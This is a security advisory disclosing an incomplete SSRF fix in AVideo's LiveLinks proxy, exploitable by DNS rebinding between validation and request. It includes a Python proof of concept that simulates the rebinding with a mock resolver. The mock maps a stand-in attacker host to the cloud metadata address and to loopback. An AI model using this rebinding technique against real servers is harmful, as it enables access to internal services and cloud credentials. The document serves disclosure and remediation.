GHSA-793q-xgj6-7frp

### Summary

The incomplete SSRF fix in AVideo's LiveLinks proxy adds `isSSRFSafeURL()` validation but leaves DNS TOCTOU vulnerabilities where DNS rebinding between validation and the actual HTTP request redirects traffic to internal endpoints.

### Affected Package

- **Ecosystem:** Other - **Package:** AVideo - **Affected versions:** < commit 0e56382921fc71e64829cd1ec35f04e338c70917 - **Patched versions:** >= commit 0e56382921fc71e64829cd1ec35f04e338c70917

### Details

The `plugin/LiveLinks/proxy.php` endpoint proxies live stream URLs. The fix adds `isSSRFSafeURL()` check on the initial URL, redirect URL validation, and `follow_location=0` in the `get_headers()` context. However, multiple DNS TOCTOU vulnerabilities remain.

For the initial URL, `isSSRFSafeURL()` resolves DNS once for validation, but `get_headers()` resolves DNS again independently. A DNS rebinding attack with TTL=0 returns a safe external IP for the first resolution and an internal IP for the second.

The same TOCTOU exists for redirect URLs: `isSSRFSafeURL()` validates the redirect target (first resolution returns a safe IP), then `fakeBrowser()` makes the actual request (second resolution returns an internal IP).

Additionally, even with `follow_location=0`, `get_headers()` still sends an HTTP request that can probe internal services via DNS rebinding, and multiple `Location` headers in a response cause `filter_var()` to receive an array instead of a string, resulting in a fall-through to the else branch.

### PoC

```python #!/usr/bin/env python3 """ CVE-2026-33039 - AVideo LiveLinks Proxy SSRF via DNS Rebinding """

import re import sys

class DNSResolver: def __init__(self): self._call_count = {}

def resolve(self, host): if host not in self._call_count: self._call_count[host] = 0 self._call_count[host] += 1

if host == "rebind.attacker.com": return "93.184.216.34" if self._call_count[host] == 1 else "169.254.169.254" if host == "rebind-loopback.attacker.com": return "93.184.216.34" if self._call_count[host] == 1 else "127.0.0.1"

static = {"attacker.com": "93.184.216.34", "example.com": "93.184.216.34", "localhost": "127.0.0.1"} return static.get(host, None)

def reset(self): self._call_count = {}

dns = DNSResolver()

def php_parse_url_host(url): match = re.match(r'https?://([^/:?#]+)', url, re.IGNORECASE) return match.group(1).lower() if match else None

def php_filter_validate_ip(s): if re.match(r'^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$', s): return all(0 <= int(p) <= 255 for p in s.split('.')) return False

def is_ssrf_safe_url(url): if not url: return False, "empty" host = php_parse_url_host(url) if not host: return False, "no host"

for pat in ['localhost', '127.0.0.1', '::1', '0.0.0.0']: if host == pat: return False, f"blocked: {host}"

ip = host if not php_filter_validate_ip(host): resolved = dns.resolve(host) if not resolved: return False, "DNS failed" ip = resolved

for pattern in [r'^10\.', r'^172\.(1[6-9]|2\d|3[0-1])\.', r'^192\.168\.', r'^127\.', r'^169\.254\.']: if re.match(pattern, ip): return False, f"blocked: {ip}"

return True, f"allowed ({ip})"

def main(): print("=" * 72) print("CVE-2026-33039 - AVideo LiveLinks Proxy SSRF PoC") print("=" * 72)

vuln_count = 0

print("\n[TEST 1] DNS rebinding on initial URL") dns.reset() safe, reason = is_ssrf_safe_url("http://rebind.attacker.com/meta-data/") actual_ip = dns.resolve("rebind.attacker.com") print(f" isSSRFSafeURL: safe={safe}, reason={reason}") print(f" Actual request goes to: {actual_ip}") if safe and actual_ip == "169.254.169.254": print(" => BYPASS!") vuln_count += 1

print("\n[TEST 2] DNS rebinding on redirect URL") dns.reset() safe_r, _ = is_ssrf_safe_url("http://rebind-loopback.attacker.com/admin/") final_ip = dns.resolve("rebind-loopback.attacker.com") print(f" isSSRFSafeURL: safe={safe_r}") print(f" fakeBrowser() goes to: {final_ip}") if safe_r and final_ip == "127.0.0.1": print(" => BYPASS!") vuln_count += 1

print("\n[TEST 3] get_headers() side-effect") dns.reset() safe, _ = is_ssrf_safe_url("http://rebind.attacker.com:8080/probe") side_ip = dns.resolve("rebind.attacker.com") print(f" isSSRFSafeURL passed: {safe}") print(f" get_headers() reached: {side_ip}") if safe and side_ip == "169.254.169.254": print(" => BYPASS!") vuln_count += 1

print(f"\nBypass vectors: {vuln_count}") if vuln_count > 0: print("\nVULNERABILITY CONFIRMED") return 0 return 1

if __name__ == "__main__": sys.exit(main()) ```

**Steps to reproduce:** 1. Run `python3 poc.py`. 2. Observe that all three DNS rebinding bypass vectors succeed.

**Expected output:** ``` VULNERABILITY CONFIRMED DNS TOCTOU bypass vectors succeed on initial URL, redirect URL, and get_headers() side-effect paths. ```

### Impact

DNS rebinding allows an attacker to bypass SSRF validation and make the server send requests to internal services, cloud metadata endpoints, and other protected resources.

### Suggested Remediation

Pin DNS resolution: resolve the hostname once, validate the IP, and use the resolved IP for the actual request via `CURLOPT_RESOLVE` or equivalent. Remove the `get_headers()` call. Block redirects entirely or re-validate using pinned DNS after each redirect.